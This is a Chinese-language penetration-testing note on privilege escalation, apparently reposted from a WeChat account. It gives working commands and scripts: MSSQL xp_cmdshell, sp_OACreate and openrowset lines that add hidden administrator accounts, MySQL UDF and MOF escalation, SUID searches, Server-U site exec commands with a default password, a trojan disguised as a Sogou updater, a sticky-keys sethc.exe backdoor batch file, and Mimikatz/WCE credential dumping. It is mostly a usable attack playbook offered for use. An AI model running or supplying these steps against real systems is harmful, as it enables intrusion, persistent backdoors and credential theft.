笔记整理-提权篇 | 权限提升
2022-9-19 10:28:12 Author: 渗透安全团队(查看原文) 阅读量:21 收藏

    系统层面提权:拿到webshell后通过对漏洞和工具的利用获取服务器权限或用户名及密码,开启远程连接。

    网络层面提权:拿到webshell后无法绕过防火墙等来建立连接时可以通过反弹shell以及端口转发的方式来进一步控制。

系统漏洞提权之exp

windows下

寻找可写目录对其上传exp或cmd.exe,进行提权。

windows内核漏洞提权exp集合:

https://github.com/Secwiki/windows-kernel-exploits

eg:通过systeminfo查询相关补丁信息,查看是否有可利用的exp。

发现可以利用ms11_080漏洞进行提权,上传exp。

对其添加账户

查看账户

开启远程链接

linux下:

    linux提权后得到的是交互式shell,需要反弹才能进行下一步,因此先用nc或者lcx进行反弹,同理这里用unaem -a 查看,在exploit库里去寻找可以利用的模块,上传exp后利用chomd 给予权限(若exp为.c时需要先对其进行编译gcc xxx.c -o),添加用户。

linux内核提权漏洞exp集合:

https://github.com/SecWiki/linux-kernel-exploits

eg:脏牛

查看内核版本及信息 

上传shell.pl 

执行shell.pl 

开启监听

上传dirty.c 

编译dirty.c 

 生成一个root权限用户 

 使用putty链接 

数据库提权:

mysql

udf提权

    由于udf.dll文件引入mysql中时其中的函数会被作为mysql函数使用,因此可通过自定义函数来执行系统命令。

    mysql版本大于及5.1时udf.dll文件放在mysql安装目录的\lib\plugin才能创建自定义函数,若不存在需自行创建plugin。

eg:

在lib下创建plugin文件夹 并上传dll文件

修改mysql.ini文件 

创建cmdshell,增加新用户

create function cmdshell returns string soname "udf.dll"

 新增隐藏用户,并加入管理员组 

 nc开启监听 

 返回shell 

mof提权

    通过控制mof中的vbs脚本执行系统命令,通过load_file将文件写入wbem\mof中且每五秒执行一次

条件:版本为win2003及以下、secure_file_priv的值不为null eg:

1、有写权限的Webshell情况下:

找到可写目录上传mof文件,创建用户 

添加admin用户 

2、有写权限的数据库账号

利用大马上传mof文件 

使用sql语句将文件导入到具有读写 权限的目录下 

使用msf进行mof提权 

mssql:

利用扩展存储过程来执行系统命令

条件:mssql服务没有降权、有sa账号与密码

利用xp_cmdshell:

xp_cmdshell在mssql2005后是默认关闭的,若有sa权限可以将其开启

exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;

执行系统命令:

exec master.dbo.xp_cmdshell 'ipconfig'//查看ip信息
exec master..xp_cmdshell 'net user test 12345 /add' //添加用户
exec master..xp_cmdshell 'net user localgroup administrators test /add' //添加新用户至管理员组

eg:

修改为允许修改高级参数 

 打开xp_cmdshell扩展 

 添加用户 

添加至管理员组

利用SO_OACreate提权

同样,在2005后是默认关闭的,将其打开

EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'Ole Automation Procedures', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'show advanced options', 0;

执行系统命令:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 123 123 /add' //添加用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 123/add' //添加至管理员组

以上为2k系统下,xp和2k3需要在用户名后添加$,如 user 123$ 123/add

利用xp_rewrite提权

利用存储过程脚本可以写入注册表来实现对超级管理员账号的克隆。

在xp_cmdshell与沙盘模式开启的情况下, 利用jet.oledb执行系统命令

select count(*) from master..sysobjects where xtype='x' and name='xp_cmdshell';
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;

启用openrowset 与open datasource组件

exec sp_configure 'show advanced options',1;reconfigure//允许修改高级参数
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure//打开组件扩展
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')//添加用户
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup administrators admin /add")')//添加新用户至管理员组

原生组件提权

suid提权

    (设置用户id)通过suid权限对二进制文件或程序来执行命令,因为当这类文件执行时,调用者会暂时获得该文件的文件拥有者权限

    可以通过命令查找具有root权限的suid文件

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

    常用于suid提权的文件与指令:vim、bash、more、less、nano、cp

sudo提权

    superuser do,普通用户在使用sudo 执行命令时会暂时拥有root权限,可以在该命令运行过程中调用系统命令运行/bin/bash,那么就是在root权限下运行bash了

    原理:Sudo 错误地在参数中转义了反斜杠字符,从而触发了缓冲溢出,最终导致任何本地用户都可以获得 root 权限。通常,在 shell 中(sudo -s 或 sudo -i)运行命令时,sudo 都会转义特殊的字符。但是,在使用 sudoedit -s 或 sudoedit -i 时实际上又没有进行转义,这使得缓冲区溢出成为了可能。

    利用sudo -v查看sudo版本,小于1.8.28时存在sudo漏洞,sudo su获得root权限

第三方软件\服务提权

server-u提权

对serverudaemon.ini有修改权限时

    对serverudaemon.ini进行修改,添加serveru的新用户进行登录,命令行输入对应服务器的ip地址及密码

ftp>quote site exec net user username passwd /add
ftp>quote site exec net localgroup administrators username /add

对serverudaemon.ini没有修改权限时

    查看serverudaemon.ini文件中passwd参数值,对其进行爆破,登录默认账号localadministrator, 默认密码#[email protected]$ak#.lk;[email protected] 。若被修改了,可下载安装目录下的serverAdmin.exe使用winhex(十六进制查看器),查找LocalAdministrator后面即可看到相应密码。

搜狗输入法提权:

    在低版本的搜狗输入法的根目录下有pinyinup.exe用来跟新词库,因此可以利用更改过名字的木马来伪装,当搜狗输入法更新词库时便会完成提权

eg: 构建木马

@echo off
@net user ndsec ndsecpw /add
@net localgroup administrators ndsec /add

将原本的更新程序重命名

上传新生成的

手动更新词库(等不及了) 

shift 后门

    通过粘滞键的功能在复制文件的同时对文件名进行更改,将cmd.exe文件复制到 c:\windows\system32\dllcache目录,并更名为sethc.exe

    远程连接靶机,bat运行后,注销系统,五次shift以system调用cmd 将经过quickbfc.exe进行编译的bat批处理文件,上传到webshell并执行,远程连接

eg:

echo 提权开始......
copy c:\windows\system32\cmd.exe c:\windows\system32\dllcache\sethc.exe
copy c:\windows\system32\dllcache\sethc.exe c:\windows\system32\sethc.exe
echo 提权结束......

在远程连接后构建bat 

注销后连按五次shift

提权后的操作 密码抓取

BPD

上传BrowserPasswordDump.exe 并启动 

WCE(xp、2003、vista、2007、2008下)

将哈希值导出

摘取后注入 (wce路径下执行 wce.exe -s +hash )

用dir \domain\c$查看 列出文件(wce路径下) 

Mimikatz

Privilege::debug查看权限 

Sekurlsa::logonpasswords获取账户密码信息

星 球 免 费 福 利

 转发公众号本文到朋友圈获取抽奖资格

 点击下方小程序图片完成抽奖

星球的最近主题和星球内部工具一些展示

欢 迎 加 入 星 球 !

关 注 有 礼

关注下方公众号回复“666”可以领取一套精品渗透测试工具集和百度云视频链接。

 还在等什么?赶紧点击下方名片关注学习吧!


群聊 | 技术交流群-群除我佬

干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247492607&idx=2&sn=2839dac30697b87fbb0d30f96ab1b98f&chksm=c1761e50f601974605ad20ee72a2a81da6b513ea41ec3b1a38f7b48731d6e3b98375e2df3a9f#rd
如有侵权请联系:admin#unsafe.sh